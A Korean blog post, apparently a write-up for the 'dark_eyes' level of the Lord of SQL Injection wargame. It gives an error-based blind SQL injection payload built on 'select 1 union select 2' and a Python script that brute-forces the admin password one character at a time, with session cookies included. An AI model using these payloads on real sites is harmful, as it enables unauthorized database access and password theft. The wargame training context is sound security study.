이번 문제는 전 문제와 다르게 에러의 내용도 출력해 주지 않고 if, case, when 등 조건문을 필터링한다. 쿼리가 제대로 실행이 되는지 에러가 나는지 알 방법이 필요한데, 이때에 필요한것이 select 1 union select 2이다.  


먼저 length 함수를 이용해서 패스워드 길이를 알아본다 union select 2 <== 2부분에 length(pw)=8을 넣어보니 쿼리와 php코드가 나오는 걸로 보아 패스워드는 8자리임을 알 수 있었다.


import urllib2 


headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82'} 

result=[]

for i in range(1,9):

        for j in range(0,0xff):

                urL="http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20||%20id=%27admin%27%20%26%26%20(select%201%20union%20select%20ord(substr(pw,{0},1))={1})%23".format(str(i),str(j))

                request = urllib2.Request(urL, None, headers) 

                response = urllib2.urlopen(request) 

                res=response.read()       

                if "query" in res:

                        result+=str(i)

                        break

        print str(i)+"ord : "+str(j)        





'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

24.los umaru  (0) 2018.04.03
20.los iron_golem  (0) 2018.03.30
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29

+ Recent posts